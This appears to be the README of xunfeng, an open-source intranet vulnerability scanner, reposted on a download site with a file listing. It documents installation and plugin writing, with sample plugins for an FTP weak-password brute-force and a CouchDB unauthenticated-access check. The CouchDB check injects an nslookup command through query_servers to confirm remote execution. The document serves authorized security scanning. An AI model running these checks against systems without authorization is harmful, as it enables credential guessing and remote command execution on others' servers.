# 巡风 [![License](https://img.shields.io/aur/license/yaourt.svg)](https://github.com/ysrc/xunfeng/blob/master/LICENSE)
----------
**巡风**是一款适用于企业内网的`漏洞快速应急、巡航扫描`系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。
**本软件只做初步探测,无攻击性行为。请使用者遵守《[中华人民共和国网络安全法](http://www.npc.gov.cn/npc/xinwen/2016-11/07/content_2001605.htm)》,勿将巡风用于非授权的测试,YSRC/同程安全应急响应中心/同程网络科技股份有限公司不负任何连带法律责任。**
其主体分为两部分:`网络资产识别引擎`,`漏洞检测引擎`。
网络资产识别引擎会通过用户配置的IP范围`定期自动`的进行端口探测(支持调用MASSCAN),并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。
漏洞检测引擎会根据用户指定的`任务规则`进行定期或者一次性的漏洞检测,其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。
## 安装指南
[![Python 2.7](https://img.shields.io/badge/python-2.7-yellow.svg)](https://www.python.org/)
[![Mongodb 3.4.0](https://img.shields.io/badge/mongodb-3.4.0-blue.svg)](https://www.mongodb.com/download-center?jmp=nav)
国内镜像 https://code.aliyun.com/ysrc/xunfeng.git
* [Windows 安装指南](./docs/install/Windows.md)
* [OSX 安装指南](./docs/install/OSX.md)
* [Linux 安装指南](./docs/install/Linux.md)
* [Docker 安装指南](./docs/install/Docker.md)
* [Linux 一条命令安装](./docs/install/Linux_AutoInstall.md)
## 配置指南
- 在配置-爬虫引擎-网络资产探测列表 设置内网IP段**(必须配置,否则无法正常使用,每个IP段最大限制为10个B段)**。
- 在配置-爬虫引擎-资产探测周期 设置计划规则。
- 可启用MASSCAN(探测范围为全端口)代替默认的端口探测脚本,需安装好MASSCAN后配置**程序完整绝对路径**,点击开启即可完成切换。
MASSCAN需chmod +x 给执行权限,并手动执行确保可正常运行后再开启。
- 其他配置根据自身需要进行修改。
## 插件编写
漏洞插件支持2种类型,json标示与python脚本,可以通过官方推送渠道安装或者自行添加。
**JSON标示符**
![](https://ysrc.github.io/static/img/xunfeng-json-plugin.png)
**Python脚本**
插件标准非常简洁,只需通过 `get_plugin_info` 方法定义插件信息,`check`函数检测漏洞即可。
```python
# coding:utf-8
import ftplib
def get_plugin_info(): # 插件描述信息
plugin_info = {
"name": "FTP弱口令",
"info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。",
"level": "高危",
"type": "弱口令",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:ftp", # 推荐搜索关键字
}
return plugin_info
def check(ip, port, timeout): # 漏洞检测代码
user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
for user in user_list:
for pass_ in PASSWORD_DIC: # 密码字典无需定义,程序会自动为其赋值。
pass_ = str(pass_.replace('{user}', user))
try:
ftp = ftplib.FTP()
ftp.timeout = timeout
ftp.connect(ip, port)
ftp.login(user, pass_)
if pass_ == '': pass_ = 'null'
if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录"
return u"存在弱口令,账号:%s,密码:%s" % (user, pass_) # 成功返回结果,内容显示在扫描结果页面。
except:
pass
```
此外系统内嵌了辅助验证功能:
> DNS:触发,nslookup randomstr IP,验证, http://ip:8088/randomstr ,返回YES即存在。
> HTTP:触发,http://ip:8088/add/randomstr ,验证, http://ip:8088/check/randomstr ,返回YES即存在。
使用例子:
```python
import urllib2
import random
import socket
def get_plugin_info(): # 插件描述信息
plugin_info = {
"name": "CouchDB未授权访问",
"info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。",
"level": "高危",
"type": "未授权访问",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:couchdb", # 推荐搜索关键字
}
def get_ver_ip(ip):
csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
csock.connect((ip, 80))
(addr, port) = csock.getsockname()
csock.close()
return addr
def random_str(len):
str1=""
for i in range(len):
str1+=(random.choice("ABCDEFGH1234567890"))
return str(str1)
def check(ip,port,timeout):
rand_str = random_str(8)
cmd = random_str(4)
server_ip = get_ver_ip()
req_list = [
["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
["/vultest123",''],
["/vultest123/test",'{"_id":"safetest"}']
]
for req_info in req_list:
try:
request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
request.get_method = lambda: 'PUT'
urllib2.urlopen(request)
except:
pass
try:
req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
req_exec.add_header("Content-Type","application/json")
urllib2.urlopen(req_exec)
except:
pass
check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()
if 'YES' in check:
return u"未授权访问"
```
## 流程演示视频
[![](https://ysrc.github.io/static/img/intro.png)](https://ysrc.github.io/static/video/xunfeng.mp4)
## 文件结构
│ config.py # 配置文件
│ README.md # 说明文档
│ run.bat # Windows启动服务
│ run.sh # Linux启动服务,重新启动前需把进程先结束掉
│
├─aider
│ aider.py # 辅助验证脚本
│
├─db # 初始数据库结构
│
├─masscan # 内置编译好的Masscan程序(CentOS win64适用),需要chmod+x给执行权限(root),若无法使用请自行编译安装。
├─nascan
│ │ nascan.py # 网络资产信息抓取
│ │
│ ├─lib
│ │ common.py 其他方法
│ │ icmp.py # ICMP发送类
│ │ log.py # 日志输出
│ │ mongo.py # 数据库连接
│ │ scan.py # 扫描与识别
│ │ start.py # 线程控制
│ │
│ └─plugin
│ masscan.py # 调用Masscan脚本
│
├─views
│ │ web.py # web启动
│ │ view.py # web请求处理
│ │
│ ├─lib
│ │ Conn.py # 数据库公共类
│ │ CreateExcel.py # 表格处理
│ │ Login.py # 权限验证
│ │ QueryLogic.py # 查询语句解析
│ │
│ ├─static #静态资源目录
│ │
│ └─templates #模板文件目录
│
└─vulscan
│ vulscan.py # 漏洞检测进程
│
└─vuldb # 漏洞库目录
扫描下方二维码关注YSRC公众号,回复自己的微信号+巡风,会有人拉你进巡风的微信讨论群。
![](http://mmbiz.qpic.cn/mmbiz/PAV8ewtdsKpkeG9VRYNhC76iacVSe3ichYiajictdF2Q34PQo7iaPV15jjGiaAev6SqpeK5maDvtAYUtqXEYUib4ljM3A/640?wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1)
没有合适的资源?快使用搜索试试~ 我知道了~
温馨提示
企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。本软件只做初步探测,无攻击性行为。请使用者遵守《中华人民共和国网络安全法》,勿将巡风用于非授权的测试,YSRC/同程安全应急响应中心/同程网络科技股份有限公司不负任何连带法律责任。 其主体分为两部分:网络资产识别引擎,漏洞检测引擎。 网络资产识别引擎会通过用户配置的IP范围定期自动的进行端口探测(支持调用MASSCAN),并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。 漏洞检测引擎会根据用户指定的任务规则进行定期或者一次性的漏洞检测,其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。
资源推荐
资源详情
资源评论
收起资源包目录
企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测 (433个子文件)
._google 4KB
run.bat 164B
Config.bson 11KB
Heartbeat.bson 124B
History.bson 0B
Plugin.bson 0B
Info.bson 0B
Update.bson 0B
Task.bson 0B
Result.bson 0B
Statistics.bson 0B
xunfeng.conf 1KB
icons.css 132KB
bootstrap.min.css 118KB
material-design-iconic-font.css 83KB
material-design-iconic-font.css 83KB
material-design-iconic-font.min.css 69KB
pages.css 50KB
ie7.css 35KB
bootstrap-datepicker3.standalone.css 33KB
font-awesome.css 32KB
bootstrap-datepicker3.css 32KB
bootstrap-datepicker3.standalone.min.css 31KB
bootstrap-datepicker3.min.css 31KB
components.css 30KB
font-awesome.min.css 27KB
sweetalert.css 22KB
core.css 22KB
typicons.css 22KB
bootstrap-datepicker.standalone.css 18KB
bootstrap-datepicker.css 17KB
themify-icons.css 16KB
bootstrap-datepicker.standalone.min.css 16KB
bootstrap-datepicker.min.css 15KB
menu.css 14KB
dropify.min.css 10KB
Roboto.css 8KB
._Karla.css 4KB
._Roboto.css 4KB
._Rancho.css 4KB
responsive.css 3KB
multi-select.css 2KB
plugin.css 2KB
tip-darkgray.css 2KB
tip-twitter.css 2KB
Karla.css 1KB
detail.css 977B
main.css 771B
search.css 754B
switchery.min.css 682B
morris.css 433B
task.css 406B
Rancho.css 336B
elements.css 0B
variables.css 0B
mixins.css 0B
kunpeng_c.dll 17.84MB
Dockerfile 1KB
kunpeng_c.dylib 17.92MB
themify.eot 77KB
fontawesome-webfont.eot 69KB
Material-Design-Iconic-Font.eot 41KB
masscan.exe 351KB
tip-twitter_arrows.gif 87B
.gitattributes 449B
.gitignore 65B
plugin.html 15KB
main.html 14KB
analysis.html 11KB
config.html 8KB
search.html 7KB
layout.html 6KB
task.html 6KB
detail.html 5KB
login.html 3KB
500.html 2KB
404.html 2KB
favicon.ico 66KB
bg3.jpg 404KB
._bg3.jpg 4KB
._bg2.jpg 4KB
raphael-min.js 90KB
jquery.min.js 82KB
waves.js 68KB
morris.js 65KB
jquery.nicescroll.js 58KB
bootstrap-datepicker.js 49KB
bootstrap.min.js 36KB
morris.min.js 35KB
bootstrap-datepicker.min.js 29KB
excanvas.js 26KB
jquery.knob.js 26KB
fastclick.js 25KB
switchery.min.js 24KB
jquery.blockUI.js 19KB
jquery.multi-select.js 19KB
sweetalert.min.js 17KB
jquery.slimscroll.js 13KB
pace.min.js 12KB
ie7.js 11KB
共 433 条
- 1
- 2
- 3
- 4
- 5
资源评论
智达教育
- 粉丝: 2w+
- 资源: 278
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功